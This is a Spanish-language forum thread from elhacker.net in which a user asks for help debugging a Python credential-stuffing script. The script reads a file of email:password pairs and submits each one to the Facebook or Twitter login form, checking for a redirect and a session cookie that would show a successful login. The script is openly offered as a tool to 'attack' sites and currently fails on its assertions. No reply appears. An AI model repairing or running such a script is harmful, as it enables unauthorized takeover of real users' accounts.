elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  AYUDA: Brute Force Con Python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: AYUDA: Brute Force Con Python  (Leído 2,097 veces)
RedLucky

Desconectado Desconectado

Mensajes: 2



Ver Perfil
AYUDA: Brute Force Con Python
« en: 12 Diciembre 2017, 03:32 am »

AYUDA! El Problema Es Que Me Da Este Error: "assert response.status_code == 302 AssertionError" Y Si Arreglo El Error Quitando El Assert Me Da Este: "assert 'c_user' in response.cookies"

Código
  1. import requests
  2.  
  3. fb = 'facebook'
  4. tt = 'twitter'
  5.  
  6. print('\n===========================================\n')
  7. print(fb, tt)
  8. print('\n===========================================\n')
  9. sit = input("Dominio del sitio a atacar: " )
  10. print('\n===========================================\n')
  11. log = input("Tipo del login del dominio/login.html: ")
  12. print('\n===========================================\n')
  13.  
  14. # Redes Y Lugares Donde Probar
  15. if sit == fb:
  16.    sit = 'https://www.facebook.com'
  17.    if log == '':
  18.        log = '/login.php'
  19.    TE = 'email'
  20.    TP = 'pass'
  21. elif sit == tt:
  22.    sit = 'https://www.twitter.com'
  23.    if log == '':
  24.        log = '/login.html'
  25.  
  26.    # TE, TP es el nombre del recuadro username y password
  27.  
  28.    TE = 'session[username_or_email]'
  29.    TP = 'session[password]'
  30. sit = sit+log
  31.  
  32. def login(session, email, password):
  33.    response = session.post(sit, data={
  34.        TE: email,
  35.        TP: password
  36.    }, allow_redirects=False)
  37.    assert response.status_code == 302
  38.    assert 'c_user' in response.cookies
  39.    return response.cookies
  40.  
  41. with open("Lista De Correos Y Contraseñas") as f:
  42.    for line in f:
  43.        correos, pwd = line.split(':')
  44.  
  45.        # Aqui las contraseñas estan unidas por un ':'
  46.        # Por eso el split
  47.  
  48.        session = requests.session()
  49.        cookies = login(session, correos, pwd)
  50.        response = session.get(sit, cookies=cookies,
  51.         _allow_redirects = False)
  52.    assert response.text.find('Home') != -1
  53.  



En línea

~Goliat Tuvo Una Falla De Seguridad, Y David Genero El Exploit~
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
HTTP Brute-Force con Python
Programación General
kiriost 1 4,613 Último mensaje 9 Octubre 2011, 05:03 am
por Mr.Blue
Ataque brute force en python
Análisis y Diseño de Malware
lapcpc 4 4,762 Último mensaje 12 Diciembre 2011, 17:36 pm
por Elemental Code
FTP Brute Force? ayuda porfavor
Hacking
hassuni 5 5,083 Último mensaje 11 Octubre 2012, 14:36 pm
por RevangelyonX
Ayuda con brute force
Criptografía
eduardomyr 2 3,365 Último mensaje 26 Abril 2013, 02:22 am
por eduardomyr
Brute Force en Python hacia un DMG
Scripting
AngelFire 1 2,226 Último mensaje 22 Febrero 2017, 05:07 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines